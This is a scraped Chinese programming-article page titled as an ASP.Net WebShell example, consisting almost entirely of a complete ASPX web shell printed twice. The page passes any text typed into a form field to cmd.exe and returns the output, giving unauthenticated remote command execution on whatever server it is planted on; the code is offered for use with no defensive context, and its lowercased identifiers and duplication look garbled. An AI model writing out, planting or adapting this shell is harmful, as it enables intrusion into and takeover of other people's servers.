一个ASP.Net下的WebShell实例
程序员文章站
2024-02-29 10:24:28
代码如下:复制代码 代码如下:<%@ page language="c#" autoeventwireup="true" %><%@ import nam...
代码如下:
<%@ page language="c#" autoeventwireup="true" %>
<%@ import namespace="system.runtime.interopservices" %>
<%@ import namespace="system.io" %>
<%@ import namespace="system.data" %>
<%@ import namespace="system.reflection" %>
<%@ import namespace="system.diagnostics" %>
<%@ import namespace="system.web" %>
<%@ import namespace="system.web.ui" %>
<%@ import namespace="system.web.ui.webcontrols" %>
<script runat="server">
protected void exec(object sender, eventargs e)
{
string item = cmd.text;
process p = new process();
p.startinfo.filename = "cmd.exe";
p.startinfo.useshellexecute = false;
p.startinfo.redirectstandardinput = true;
p.startinfo.redirectstandardoutput = true;
p.startinfo.redirectstandarderror = true;
p.startinfo.createnowindow = true;
string stroutput = null;
p.start();
p.standardinput.writeline(item);
p.standardinput.writeline("exit");
stroutput = p.standardoutput.readtoend();
p.waitforexit();
p.close();
response.write("<pre>");
response.write(stroutput);
response.write("</pre>");
}
protected void page_load(object sender, eventargs e)
{
}
</script>
<form id="form1" runat="server">
<asp:textbox id="cmd" runat="server" text="dir c:" /><asp:button id="btn" onclick="exec" runat="server" text="execute" />
</form>
复制代码 代码如下:
<%@ page language="c#" autoeventwireup="true" %>
<%@ import namespace="system.runtime.interopservices" %>
<%@ import namespace="system.io" %>
<%@ import namespace="system.data" %>
<%@ import namespace="system.reflection" %>
<%@ import namespace="system.diagnostics" %>
<%@ import namespace="system.web" %>
<%@ import namespace="system.web.ui" %>
<%@ import namespace="system.web.ui.webcontrols" %>
<script runat="server">
protected void exec(object sender, eventargs e)
{
string item = cmd.text;
process p = new process();
p.startinfo.filename = "cmd.exe";
p.startinfo.useshellexecute = false;
p.startinfo.redirectstandardinput = true;
p.startinfo.redirectstandardoutput = true;
p.startinfo.redirectstandarderror = true;
p.startinfo.createnowindow = true;
string stroutput = null;
p.start();
p.standardinput.writeline(item);
p.standardinput.writeline("exit");
stroutput = p.standardoutput.readtoend();
p.waitforexit();
p.close();
response.write("<pre>");
response.write(stroutput);
response.write("</pre>");
}
protected void page_load(object sender, eventargs e)
{
}
</script>
<form id="form1" runat="server">
<asp:textbox id="cmd" runat="server" text="dir c:" /><asp:button id="btn" onclick="exec" runat="server" text="execute" />
</form>